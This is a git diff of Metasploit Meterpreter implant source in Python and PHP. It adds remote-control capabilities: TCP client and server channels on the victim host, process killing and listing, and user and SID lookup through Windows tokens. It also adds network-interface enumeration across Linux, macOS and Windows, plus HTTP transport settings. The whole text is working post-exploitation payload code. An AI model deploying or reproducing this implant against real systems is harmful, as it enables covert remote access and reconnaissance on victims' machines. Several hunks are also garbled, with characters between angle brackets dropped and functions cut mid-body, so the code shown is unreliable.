+479,45 @@ ERROR_FAILURE = 1 # errors. ERROR_CONNECTION_ERROR = 10000 +# Windows Constants +GAA_FLAG_SKIP_ANYCAST = 0x0002 +GAA_FLAG_SKIP_MULTICAST = 0x0004 +GAA_FLAG_INCLUDE_PREFIX = 0x0010 +GAA_FLAG_SKIP_DNS_SERVER = 0x0080 +PROCESS_TERMINATE = 0x0001 +PROCESS_VM_READ = 0x0010 +PROCESS_QUERY_INFORMATION = 0x0400 +PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 + WIN_AF_INET = 2 WIN_AF_INET6 = 23 +# Linux Constants +RTM_GETLINK = 18 +RTM_GETADDR = 22 +RTM_GETROUTE = 26 + +IFLA_ADDRESS = 1 +IFLA_BROADCAST = 2 +IFLA_IFNAME = 3 +IFLA_MTU = 4 + +IFA_ADDRESS = 1 +IFA_LABEL = 3 + +meterpreter.register_extension('stdapi') + +def calculate_32bit_netmask(bits): + if bits == 32: + return 0xffffffff + return ((0xffffffff << (32-(bits%32))) & 0xffffffff) + +def cstruct_unpack(structure, raw_data): + if not isinstance(structure, ctypes.Structure): + structure = structure() + ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure)) + return structure + def get_stat_buffer(path): si = os.stat(path) rdev = 0 @@ -306,24 +531,73 @@ def get_stat_buffer(path): blocks = si.st_blocks st_buf = struct.pack('> 8) + dwBuild = ((dwVersion & 0xffff0000) >> 16) + return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild)) + @meterpreter.register_function -def channel_create_stdapi_fs_file(request, response): +def channel_open_stdapi_fs_file(request, response): fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE) if fmode: @@ -348,12 +631,12 @@ def channel_create_stdapi_fs_file(request, response): else: fmode = 'rb' file_h = open(fpath, fmode) - channel_id = meterpreter.add_channel(file_h) + channel_id = meterpreter.add_channel(MeterpreterFile(file_h)) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @meterpreter.register_function -def channel_create_stdapi_net_tcp_client(request, response): +def channel_open_stdapi_net_tcp_client(request, response): host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value'] port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value'] local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST) @@ -373,20 +656,29 @@ def channel_create_stdapi_net_tcp_client(request, response): pass if not connected: return ERROR_CONNECTION_ERROR, response - channel_id = meterpreter.add_channel(sock) + channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock)) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @meterpreter.register_function -def stdapi_sys_config_getuid(request, response): - response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser()) +def channel_open_stdapi_net_tcp_server(request, response): + local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0') + local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value'] + server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server_sock.bind((local_host, local_port)) + server_sock.listen(socket.SOMAXCONN) + channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock)) + response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @meterpreter.register_function def stdapi_sys_config_getenv(request, response): for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE): - pgroup = '' - env_var = env_var['value'].translate(None, '%$') + pgroup = bytes() + env_var = env_var['value'] + env_var = env_var.replace('%', '') + env_var = env_var.replace('$', '') env_val = os.environ.get(env_var) if env_val: pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var) @@ -394,6 +686,34 @@ def stdapi_sys_config_getenv(request, response): response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup) return ERROR_SUCCESS, response +@meterpreter.register_function_windll +def stdapi_sys_config_getsid(request, response): + token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess()) + if not token: + return error_result_windows(), response + sid_str = ctypes.c_char_p() + if not ctypes.windll.advapi32.ConvertSidToStringSidA(token.User.Sid, ctypes.byref(sid_str)): + return error_result_windows(), response + sid_str = str(ctypes.string_at(sid_str)) + response += tlv_pack(TLV_TYPE_SID, sid_str) + return ERROR_SUCCESS, response + +@meterpreter.register_function +def stdapi_sys_config_getuid(request, response): + if has_pwd: + username = pwd.getpwuid(os.getuid()).pw_name + elif has_windll: + token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess()) + if not token: + return error_result_windows(), response + username = get_username_from_token(token) + if not username: + return error_result_windows(), response + else: + username = getpass.getuser() + response += tlv_pack(TLV_TYPE_USER_NAME, username) + return ERROR_SUCCESS, response + @meterpreter.register_function def stdapi_sys_config_sysinfo(request, response): uname_info = platform.uname() @@ -415,12 +735,11 @@ def stdapi_sys_config_sysinfo(request, response): @meterpreter.register_function def stdapi_sys_process_close(request, response): - proc_h_id = packet_get_tlv(request, TLV_TYPE_PROCESS_HANDLE) + proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE) if not proc_h_id: return ERROR_SUCCESS, response proc_h_id = proc_h_id['value'] - proc_h = meterpreter.channels[proc_h_id] - proc_h.kill() + del meterpreter.processes[proc_h_id] return ERROR_SUCCESS, response @meterpreter.register_function @@ -452,6 +771,7 @@ def stdapi_sys_process_execute(request, response): proc_h.stderr = open(os.devnull, 'rb') else: proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + proc_h.echo_protection = True proc_h.start() else: proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) @@ -468,17 +788,34 @@ def stdapi_sys_process_getpid(request, response): response += tlv_pack(TLV_TYPE_PID, os.getpid()) return ERROR_SUCCESS, response +@meterpreter.register_function +def stdapi_sys_process_kill(request, response): + for pid in packet_enum_tlvs(request, TLV_TYPE_PID): + pid = pid['value'] + if has_windll: + k32 = ctypes.windll.kernel32 + proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid) + if not proc_h: + return error_result_windows(), response + if not k32.TerminateProcess(proc_h, 0): + return error_result_windows(), response + elif hasattr(os, 'kill'): + os.kill(pid, 9) + else: + return ERROR_FAILURE, response + return ERROR_SUCCESS, response + def stdapi_sys_process_get_processes_via_proc(request, response): for pid in os.listdir('/proc'): - pgroup = '' + pgroup = bytes() if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit(): continue - cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ') - status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read() + cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb') + cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8'))) + status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read()) status_data = map(lambda x: x.split('\t',1), status_data.split('\n')) - status_data = filter(lambda x: len(x) == 2, status_data) status = {} - for k, v in status_data: + for k, v in filter(lambda x: len(x) == 2, status_data): status[k[:-1]] = v.strip() ppid = status.get('PPid') uid = status.get('Uid').split('\t', 1)[0] @@ -502,14 +839,14 @@ def stdapi_sys_process_get_processes_via_proc(request, response): def stdapi_sys_process_get_processes_via_ps(request, response): ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command'] proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - ps_output = proc_h.stdout.read() + ps_output = str(proc_h.stdout.read()) ps_output = ps_output.split('\n') ps_output.pop(0) for process in ps_output: process = process.split() if len(process) < 4: break - pgroup = '' + pgroup = bytes() pgroup += tlv_pack(TLV_TYPE_PID, int(process[0])) pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1])) pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2]) @@ -520,9 +857,6 @@ def stdapi_sys_process_get_processes_via_ps(request, response): def stdapi_sys_process_get_processes_via_windll(request, response): TH32CS_SNAPPROCESS = 2 - PROCESS_QUERY_INFORMATION = 0x0400 - PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 - PROCESS_VM_READ = 0x10 TOKEN_QUERY = 0x0008 TokenUser = 1 k32 = ctypes.windll.kernel32 @@ -531,7 +865,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response): proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) result = k32.Process32First(proc_snap, ctypes.byref(pe32)) if not result: - return ERROR_FAILURE, response + return error_result_windows(), response while result: proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID) if not proc_h: @@ -552,26 +886,10 @@ def stdapi_sys_process_get_processes_via_windll(request, response): exe_path = ctypes.string_at(exe_path) else: exe_path = '' - complete_username = '' - tkn_h = ctypes.c_long() - tkn_len = ctypes.c_uint32() - if ctypes.windll.advapi32.OpenProcessToken(proc_h, TOKEN_QUERY, ctypes.byref(tkn_h)): - ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, None, 0, ctypes.byref(tkn_len)) - buf = (ctypes.c_ubyte * tkn_len.value)() - if ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, ctypes.byref(buf), ctypes.sizeof(buf), ctypes.byref(tkn_len)): - user_tkn = SID_AND_ATTRIBUTES() - ctypes.memmove(ctypes.byref(user_tkn), buf, ctypes.sizeof(user_tkn)) - username = (ctypes.c_char * 512)() - domain = (ctypes.c_char * 512)() - u_len = ctypes.c_uint32() - u_len.value = ctypes.sizeof(username) - d_len = ctypes.c_uint32() - d_len.value = ctypes.sizeof(domain) - use = ctypes.c_ulong() - use.value = 0 - ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use)) - complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username) - k32.CloseHandle(tkn_h) + process_username = '' + process_token_user = get_token_user(proc_h) + if process_token_user: + process_username = get_username_from_token(process_token_user) or '' parch = windll_GetNativeSystemInfo() is_wow64 = ctypes.c_ubyte() is_wow64.value = 0 @@ -579,10 +897,10 @@ def stdapi_sys_process_get_processes_via_windll(request, response): if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)): if is_wow64.value: parch = PROCESS_ARCH_X86 - pgroup = '' + pgroup = bytes() pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID) pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID) - pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username) + pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username) pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile) pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path) pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch) @@ -634,9 +952,10 @@ def stdapi_fs_delete_file(request, response): def stdapi_fs_file_expand_path(request, response): path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] if has_windll: + path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8')) path_out = (ctypes.c_char * 4096)() - path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out)) - result = ''.join(path_out)[:path_out_len] + path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out)) + result = str(ctypes.string_at(path_out)) elif path_tlv == '%COMSPEC%': result = '/bin/sh' elif path_tlv in ['%TEMP%', '%TMP%']: @@ -675,12 +994,12 @@ def stdapi_fs_ls(request, response): @meterpreter.register_function def stdapi_fs_md5(request, response): - if sys.version_info[0] == 2 and sys.version_info[1] < 5: - import md5 - m = md5.new() - else: + try: import hashlib m = hashlib.md5() + except ImportError: + import md5 + m = md5.new() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) @@ -689,7 +1008,8 @@ def stdapi_fs_md5(request, response): @meterpreter.register_function def stdapi_fs_mkdir(request, response): dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - os.mkdir(dir_path) + if not os.path.isdir(dir_path): + os.mkdir(dir_path) return ERROR_SUCCESS, response @meterpreter.register_function @@ -722,12 +1042,12 @@ def stdapi_fs_separator(request, response): @meterpreter.register_function def stdapi_fs_sha1(request, response): - if sys.version_info[0] == 2 and sys.version_info[1] < 5: - import sha1 - m = sha1.new() - else: + try: import hashlib m = hashlib.sha1() + except ImportError: + import sha + m = sha.new() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) @@ -740,6 +1060,238 @@ def stdapi_fs_stat(request, response): response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf) return ERROR_SUCCESS, response +@meterpreter.register_function +def stdapi_net_config_get_interfaces(request, response): + if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'): + interfaces = stdapi_net_config_get_interfaces_via_netlink() + elif has_osxsc: + interfaces = stdapi_net_config_get_interfaces_via_osxsc() + elif has_windll: + interfaces = stdapi_net_config_get_interfaces_via_windll() + else: + return ERROR_FAILURE, response + for iface_info in interfaces: + iface_tlv = bytes() + iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown')) + iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00')) + if 'mtu' in iface_info: + iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu']) + if 'flags' in iface_info: + iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags']) + iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index']) + for address in iface_info.get('addrs', []): + iface_tlv += tlv_pack(TLV_TYPE_IP, address[1]) + if isinstance(address[2], (int, long)): + iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2]) + else: + iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2]) + response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv) + return ERROR_SUCCESS, response + +def stdapi_net_config_get_interfaces_via_netlink(): + rta_align = lambda l: l+3 & ~3 + iface_flags = { + 0x0001: 'UP', + 0x0002: 'BROADCAST', + 0x0008: 'LOOPBACK', + 0x0010: 'POINTTOPOINT', + 0x0040: 'RUNNING', + 0x0100: 'PROMISC', + 0x1000: 'MULTICAST' + } + iface_flags_sorted = list(iface_flags.keys()) + # Dictionaries don't maintain order + iface_flags_sorted.sort() + interfaces = {} + + responses = netlink_request(RTM_GETLINK) + for res_data in responses: + iface = cstruct_unpack(IFINFOMSG, res_data) + iface_info = {'index':iface.index} + flags = [] + for flag in iface_flags_sorted: + if (iface.flags & flag): + flags.append(iface_flags[flag]) + iface_info['flags'] = ' '.join(flags) + cursor = ctypes.sizeof(IFINFOMSG) + while cursor < len(res_data): + attribute = cstruct_unpack(RTATTR, res_data[cursor:]) + at_len = attribute.len + attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)] + cursor += rta_align(at_len) + + if attribute.type == IFLA_ADDRESS: + iface_info['hw_addr'] = attr_data + elif attribute.type == IFLA_IFNAME: + iface_info['name'] = attr_data + elif attribute.type == IFLA_MTU: + iface_info['mtu'] = struct.unpack('= 96: + netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits)) + elif nm_bits >= 64: + netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0) + elif nm_bits >= 32: + netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0) + else: + netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0) + addr_list = iface_info.get('addrs', []) + addr_list.append((iface.family, attr_data, netmask)) + iface_info['addrs'] = addr_list + elif attribute.type == IFA_LABEL: + iface_info['name'] = attr_data + interfaces[iface.index] = iface_info + return interfaces.values() + +def stdapi_net_config_get_interfaces_via_osxsc(): + ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None) + entities = [] + entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4)) + entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6)) + patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks) + values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns) + interfaces = {} + for key, value in values.items(): + iface_name = key.split('/')[3] + iface_info = interfaces.get(iface_name, {}) + iface_info['name'] = str(iface_name) + if key.endswith('IPv4'): + family = socket.AF_INET + elif key.endswith('IPv6'): + family = socket.AF_INET6 + else: + continue + iface_addresses = iface_info.get('addrs', []) + for idx in range(len(value['Addresses'])): + if family == socket.AF_INET: + iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx]))) + else: + iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx])) + iface_info['addrs'] = iface_addresses + interfaces[iface_name] = iface_info + for iface_ref in osxsc.SCNetworkInterfaceCopyAll(): + iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref) + if not iface_name in interfaces: + iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref) + if not iface_type in ['Ethernet', 'IEEE80211']: + continue + interfaces[iface_name] = {'name': str(iface_name)} + iface_info = interfaces[iface_name] + mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1] + iface_info['mtu'] = mtu + hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref) + if hw_addr: + hw_addr = hw_addr.replace(':', '') + hw_addr = hw_addr.decode('hex') + iface_info['hw_addr'] = hw_addr + ifnames = list(interfaces.keys()) + ifnames.sort() + for iface_name, iface_info in interfaces.items(): + iface_info['index'] = ifnames.index(iface_name) + return interfaces.values() + +def stdapi_net_config_get_interfaces_via_windll(): + iphlpapi = ctypes.windll.iphlpapi + if not hasattr(iphlpapi, 'GetAdaptersAddresses'): + return stdapi_net_config_get_interfaces_via_windll_mib() + Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST) + AdapterAddresses = ctypes.c_void_p() + SizePointer = ctypes.c_ulong() + SizePointer.value = 0 + iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer)) + AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)() + iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer)) + AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value) + AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses) + if AdapterAddresses.u.s.Length <= 72: + return stdapi_net_config_get_interfaces_via_windll_mib() + win_version = windll_GetVersion() + interfaces = [] + pAdapterAddresses = ctypes.byref(AdapterAddresses) + while pAdapterAddresses: + AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses) + pAdapterAddresses = AdapterAddresses.Next + pFirstPrefix = AdapterAddresses.FirstPrefix + iface_info = {} + iface_info['index'] = AdapterAddresses.u.s.IfIndex + if AdapterAddresses.PhysicalAddressLength: + iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength) + iface_desc = ctypes.wstring_at(AdapterAddresses.Description) + if not is_str(iface_desc): + iface_desc = str(iface_desc) + iface_info['name'] = iface_desc + iface_info['mtu'] = AdapterAddresses.Mtu + pUniAddr = AdapterAddresses.FirstUnicastAddress + while pUniAddr: + UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr) + pUniAddr = UniAddr.Next + address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr) + if not address.sa_family in (socket.AF_INET, socket.AF_INET6): + continue + prefix = 0 + if win_version.dwMajorVersion >= 6: + prefix = UniAddr.OnLinkPrefixLength + elif pFirstPrefix: + ip_adapter_prefix = 'QPPIL' + prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix)) + prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4] + iface_addresses = iface_info.get('addrs', []) + if address.sa_family == socket.AF_INET: + iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix)) + else: + iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix)) + iface_info['addrs'] = iface_addresses + interfaces.append(iface_info) + return interfaces + +def stdapi_net_config_get_interfaces_via_windll_mib(): + iphlpapi = ctypes.windll.iphlpapi + table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))() + pdwSize = ctypes.c_ulong() + pdwSize.value = ctypes.sizeof(table) + if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0): + return None + interfaces = [] + table_data = ctypes.string_at(table, pdwSize.value) + entries = struct.unpack('I', table_data[:4])[0] + table_data = table_data[4:] + for i in range(entries): + addrrow = cstruct_unpack(MIB_IPADDRROW, table_data) + ifrow = MIB_IFROW() + ifrow.dwIndex = addrrow.dwIndex + if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0: + continue + iface_info = {} + table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):] + iface_info['index'] = addrrow.dwIndex + iface_info['addrs'] = [(socket.AF_INET, struct.pack('> 32) & 0xFFFFFFFF; + $lo = $tlv['value'] & 0xFFFFFFFF; + $ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo); + } elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']); } @@ -686,10 +692,17 @@ function tlv_unpack($raw_tlv) { my_print("len: {$tlv['len']}, type: {$tlv['type']}"); if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len'])); + # PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing + # NULL, so catch that here + $tlv['value'] = str_replace("\0", "", $tlv['value']); } elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len'])); } + elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { + $tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len'])); + $tlv['value'] = $tlv['hi'] << 32 | $tlv['lo']; + } elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { $tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len'])); } @@ -907,11 +920,12 @@ function read($resource, $len=null) { # whole php process will block waiting for data that may never come. # Unfortunately, selecting on pipes created with proc_open on Windows # always returns immediately. Basically, shell interaction in Windows - # is hosed until this gets figured out. See https://dev.metasploit.com/redmine/issues/2232 + # is hosed until this gets figured out. $r = Array($resource); my_print("Calling select to see if there's data on $resource"); while (true) { - $cnt = stream_select($r, $w=NULL, $e=NULL, 0); + $w=NULL;$e=NULL;$t=0; + $cnt = stream_select($r, $w, $e, $t); # Stream is not ready to read, have to live with what we've gotten # so far @@ -1147,7 +1161,8 @@ add_reader($msgsock); # Main dispatch loop # $r=$GLOBALS['readers']; -while (false !== ($cnt = select($r, $w=null, $e=null, 1))) { +$w=NULL;$e=NULL;$t=1; +while (false !== ($cnt = select($r, $w, $e, $t))) { #my_print(sprintf("Returned from select with %s readers", count($r))); $read_failed = false; for ($i = 0; $i < $cnt; $i++) { diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 87c9a62516..3c0832dbe1 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -1,6 +1,5 @@ #!/usr/bin/python import code -import ctypes import os import random import select @@ -9,108 +8,217 @@ import struct import subprocess import sys import threading +import time +import traceback -has_windll = hasattr(ctypes, 'windll') +try: + import ctypes +except ImportError: + has_windll = False +else: + has_windll = hasattr(ctypes, 'windll') + +# this MUST be imported for urllib to work on OSX +try: + import SystemConfiguration as osxsc + has_osxsc = True +except ImportError: + has_osxsc = False + +try: + urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] + if sys.version_info[0] < 3: + urllib = __import__('urllib2', fromlist=urllib_imports) + else: + urllib = __import__('urllib.request', fromlist=urllib_imports) +except ImportError: + has_urllib = False +else: + has_urllib = True + +if sys.version_info[0] < 3: + is_str = lambda obj: issubclass(obj.__class__, str) + is_bytes = lambda obj: issubclass(obj.__class__, str) + bytes = lambda *args: str(*args[:1]) + NULL_BYTE = '\x00' +else: + if isinstance(__builtins__, dict): + is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) + str = lambda x: __builtins__['str'](x, 'UTF-8') + else: + is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) + str = lambda x: __builtins__.str(x, 'UTF-8') + is_bytes = lambda obj: issubclass(obj.__class__, bytes) + NULL_BYTE = bytes('\x00', 'UTF-8') + long = int # # Constants # -PACKET_TYPE_REQUEST = 0 -PACKET_TYPE_RESPONSE = 1 -PACKET_TYPE_PLAIN_REQUEST = 10 + +# these values may be patched, DO NOT CHANGE THEM +DEBUGGING = False +HTTP_COMMUNICATION_TIMEOUT = 300 +HTTP_CONNECTION_URL = None +HTTP_EXPIRATION_TIMEOUT = 604800 +HTTP_PROXY = None +HTTP_USER_AGENT = None + +PACKET_TYPE_REQUEST = 0 +PACKET_TYPE_RESPONSE = 1 +PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 ERROR_SUCCESS = 0 # not defined in original C implementation ERROR_FAILURE = 1 +ERROR_FAILURE_PYTHON = 2 +ERROR_FAILURE_WINDOWS = 3 CHANNEL_CLASS_BUFFERED = 0 -CHANNEL_CLASS_STREAM = 1 +CHANNEL_CLASS_STREAM = 1 CHANNEL_CLASS_DATAGRAM = 2 -CHANNEL_CLASS_POOL = 3 +CHANNEL_CLASS_POOL = 3 # # TLV Meta Types # -TLV_META_TYPE_NONE = ( 0 ) -TLV_META_TYPE_STRING = (1 << 16) -TLV_META_TYPE_UINT = (1 << 17) -TLV_META_TYPE_RAW = (1 << 18) -TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_NONE = ( 0 ) +TLV_META_TYPE_STRING = (1 << 16) +TLV_META_TYPE_UINT = (1 << 17) +TLV_META_TYPE_RAW = (1 << 18) +TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_QWORD = (1 << 20) TLV_META_TYPE_COMPRESSED = (1 << 29) -TLV_META_TYPE_GROUP = (1 << 30) -TLV_META_TYPE_COMPLEX = (1 << 31) +TLV_META_TYPE_GROUP = (1 << 30) +TLV_META_TYPE_COMPLEX = (1 << 31) # not defined in original -TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) +TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) # # TLV base starting points # -TLV_RESERVED = 0 +TLV_RESERVED = 0 TLV_EXTENSIONS = 20000 -TLV_USER = 40000 -TLV_TEMP = 60000 +TLV_USER = 40000 +TLV_TEMP = 60000 # # TLV Specific Types # -TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 -TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 -TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 -TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 -TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 +TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 +TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 +TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 +TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 +TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 -TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 -TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 -TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 +TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 +TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 +TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 -TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 -TLV_TYPE_DATA = TLV_META_TYPE_RAW 